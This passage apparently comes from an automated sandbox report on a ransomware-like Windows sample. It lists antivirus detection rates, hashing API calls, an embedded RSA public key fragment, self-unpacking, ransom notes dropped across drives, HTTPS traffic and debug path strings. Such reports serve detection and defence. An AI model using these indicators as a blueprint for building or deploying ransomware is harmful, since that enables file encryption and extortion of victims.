Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe

ReversingLabs: Detection: 92%

Multi AV Scanner detection for submitted file

Source: 16oApcahEa.exe	ReversingLabs: Detection: 92%
Source: 16oApcahEa.exe	Virustotal: Detection: 84%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 16oApcahEa.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_0040E870 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	2_2_0040E870
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_0040EA51 CryptDestroyHash,CryptReleaseContext,	2_2_0040EA51
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_0040EAA0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	2_2_0040EAA0
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_0040EC68 CryptDestroyHash,CryptReleaseContext,	2_2_0040EC68
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_00410FC0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,lstrlenA,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,CryptGetHashParam,_malloc,CryptGetHashParam,_memset,_sprintf,lstrcatA,CryptDestroyHash,CryptReleaseContext,	2_2_00410FC0
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_00411178 CryptDestroyHash,CryptReleaseContext,	2_2_00411178
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0040E870 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	6_2_0040E870
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0040EAA0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	6_2_0040EAA0
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_00410FC0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,lstrlenA,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,CryptGetHashParam,_malloc,CryptGetHashParam,_memset,_sprintf,lstrcatA,CryptDestroyHash,CryptReleaseContext,	6_2_00410FC0
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_00411178 CryptDestroyHash,CryptReleaseContext,	6_2_00411178
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0040EA51 CryptDestroyHash,CryptReleaseContext,	6_2_0040EA51
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_0040EC68 CryptDestroyHash,CryptReleaseContext,	6_2_0040EC68

Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqnoQxlo2ifuF5FnP3E0d\\nOkfs8KoCVmquaK3X+eED3uPg5DHOIlHiKi	6_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqnoQxlo2ifuF5FnP3E0d\\nOkfs8KoCVmquaK3X+eED3uPg5DHOIlHiKi	6_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqnoQxlo2ifuF5FnP3E0d\\nOkfs8KoCVmquaK3X+eED3uPg5DHOIlHiKi	6_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqnoQxlo2ifuF5FnP3E0d\\nOkfs8KoCVmquaK3X+eED3uPg5DHOIlHiKi	6_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqnoQxlo2ifuF5FnP3E0d\\nOkfs8KoCVmquaK3X+eED3uPg5DHOIlHiKi	6_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqnoQxlo2ifuF5FnP3E0d\\nOkfs8KoCVmquaK3X+eED3uPg5DHOIlHiKi	6_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqnoQxlo2ifuF5FnP3E0d\\nOkfs8KoCVmquaK3X+eED3uPg5DHOIlHiKi	6_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqnoQxlo2ifuF5FnP3E0d\\nOkfs8KoCVmquaK3X+eED3uPg5DHOIlHiKi	6_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqnoQxlo2ifuF5FnP3E0d\\nOkfs8KoCVmquaK3X+eED3uPg5DHOIlHiKi	6_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqnoQxlo2ifuF5FnP3E0d\\nOkfs8KoCVmquaK3X+eED3uPg5DHOIlHiKi	6_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqnoQxlo2ifuF5FnP3E0d\\nOkfs8KoCVmquaK3X+eED3uPg5DHOIlHiKi	6_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqnoQxlo2ifuF5FnP3E0d\\nOkfs8KoCVmquaK3X+eED3uPg5DHOIlHiKi	6_2_00419E70
Source: 16oApcahEa.exe	Binary or memory string: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqnoQxlo2ifuF5FnP3E0d\\nOkfs8KoCVmquaK3X+eED3uPg5DHOIlHiKi

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\16oApcahEa.exe	Unpacked PE file: 2.2.16oApcahEa.exe.400000.0.unpack
Source: C:\Users\user\Desktop\16oApcahEa.exe	Unpacked PE file: 6.2.16oApcahEa.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Unpacked PE file: 7.2.16oApcahEa.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Unpacked PE file: 10.2.16oApcahEa.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Unpacked PE file: 12.2.16oApcahEa.exe.400000.0.unpack

Source: 16oApcahEa.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\$WinREAgent\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\$WinREAgent\Scratch\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File created: C:\Users\user\_readme.txt	Jump to behavior

Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.5:49762 version: TLS 1.2

Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\40\ source: 16oApcahEa.exe, 00000006.00000003.2372068192.0000000003174000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2391853654.0000000003175000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ows\ source: 16oApcahEa.exe, 00000006.00000003.2608529242.0000000003579000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\lized\ source: 16oApcahEa.exe, 00000006.00000003.2574043200.0000000003278000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2599440406.0000000003281000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2598180524.000000000327C000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2598684852.000000000327C000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2574803316.000000000327C000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2573470738.0000000003278000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: 16oApcahEa.exe, 00000006.00000003.2531251132.000000000315F000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530496274.0000000003126000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530726441.000000000313A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2412967181.0000000003137000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2531026694.0000000003148000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\o source: 16oApcahEa.exe, 00000006.00000003.2372068192.0000000003174000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: 16oApcahEa.exe, 00000006.00000003.2655582040.000000000363E000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2656675082.0000000003697000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\*a\H source: 16oApcahEa.exe, 00000006.00000003.2628989933.0000000003551000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2649958078.0000000003569000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\\Ws source: 16oApcahEa.exe, 00000006.00000003.2628279440.0000000003587000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: 16oApcahEa.exe, 00000006.00000003.2599150765.00000000033BE000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2573681960.00000000033E5000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2598612147.00000000033BD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: 16oApcahEa.exe, 00000006.00000003.2655582040.000000000363E000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2656675082.0000000003697000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\ source: 16oApcahEa.exe, 00000006.00000003.2598494507.0000000003211000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\rup\gufeyeruci\noxijij\fohopejupa\wotuka\rib-padajedisurepi\g.pdb source: 16oApcahEa.exe
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: 16oApcahEa.exe, 00000006.00000003.2598457927.0000000003551000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2608529242.0000000003579000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\kZT source: 16oApcahEa.exe, 00000006.00000003.2599440406.0000000003281000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2598180524.000000000327C000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2598684852.000000000327C000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2606786185.000000000327C000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2607845783.000000000327C000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2608867236.0000000003289000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\[ source: 16oApcahEa.exe, 00000006.00000003.2531251132.000000000315F000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530496274.0000000003126000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530726441.000000000313A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2412967181.0000000003137000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2531026694.0000000003148000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: 16oApcahEa.exe, 00000006.00000003.2670819138.0000000003666000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2671874339.00000000036BF000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2672665373.00000000036F0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: 16oApcahEa.exe, 00000006.00000003.2671409961.00000000035E9000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2676819721.00000000035D4000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2670397971.00000000032CF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\x source: 16oApcahEa.exe, 00000006.00000003.2607706297.000000000311E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\kEU source: 16oApcahEa.exe, 00000006.00000003.2672090250.000000000327C000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2672430411.0000000003281000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\k6 source: 16oApcahEa.exe, 00000006.00000003.2657764884.0000000003120000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2657670285.0000000003118000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2657380503.0000000003111000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\* source: 16oApcahEa.exe, 00000006.00000003.2607469124.00000000035BC000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2628652314.00000000035BC000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2628279440.00000000035BC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\+ source: 16oApcahEa.exe, 00000006.00000003.2574043200.0000000003278000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2598180524.000000000327C000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2598366397.00000000032C0000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2574803316.0000000003286000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2574666578.0000000003285000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2573470738.0000000003278000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: 16oApcahEa.exe, 00000006.00000003.2670819138.0000000003666000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\[sU source: 16oApcahEa.exe, 00000006.00000003.2370752374.000000000311C000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2370726322.0000000003111000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2370978617.000000000311D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\wy\H source: 16oApcahEa.exe, 00000006.00000003.2627346648.00000000032C0000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2606786185.000000000327C000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2607845783.000000000327C000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2608867236.0000000003289000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: 16oApcahEa.exe, 00000006.00000003.2651190121.00000000033A6000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2606786185.000000000327C000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2650185530.000000000339E000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2627745074.0000000003299000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2627823379.00000000033A2000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2607845783.000000000327C000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2628546874.00000000032BC000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2608867236.0000000003289000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: 16oApcahEa.exe, 00000006.00000003.2650308082.00000000035FC000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2628652314.0000000003622000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2649360466.00000000035ED000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2647839049.0000000003587000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: 16oApcahEa.exe, 00000006.00000003.2531251132.000000000315F000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530496274.0000000003126000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530726441.000000000313A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2402881218.000000000319A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2531026694.0000000003148000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2404765626.0000000003192000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2401102742.0000000003194000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: 16oApcahEa.exe, 00000006.00000003.2627596714.000000000317B000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2649084631.0000000003182000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2648565926.0000000003152000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2650049757.0000000003183000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2628146164.0000000003182000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ACw source: 16oApcahEa.exe, 00000006.00000003.2650185530.000000000339E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\I source: 16oApcahEa.exe, 00000006.00000003.2531251132.000000000315F000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530496274.0000000003126000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530726441.000000000313A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2531026694.0000000003148000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\40\ source: 16oApcahEa.exe, 00000006.00000003.2370752374.000000000311C000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2370726322.0000000003111000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2370978617.000000000311D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\20\kV8 source: 16oApcahEa.exe, 00000006.00000003.2659984030.000000000365F000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2655582040.000000000363E000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2658259484.0000000003647000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\H source: 16oApcahEa.exe, 00000006.00000003.2412967181.0000000003173000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2402881218.000000000319A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2413305123.0000000003196000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2404765626.0000000003192000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530699362.000000000319A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2401102742.0000000003194000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530496274.0000000003173000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\E source: 16oApcahEa.exe, 00000006.00000003.2531251132.000000000315F000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530496274.0000000003126000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530726441.000000000313A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2531026694.0000000003148000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: 16oApcahEa.exe, 00000006.00000003.2599150765.00000000033BE000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2598612147.00000000033BD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\C source: 16oApcahEa.exe, 00000006.00000003.2531251132.000000000315F000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530496274.0000000003126000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530726441.000000000313A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2531026694.0000000003148000.00000004.00000020.00020000.00000000.sdmp
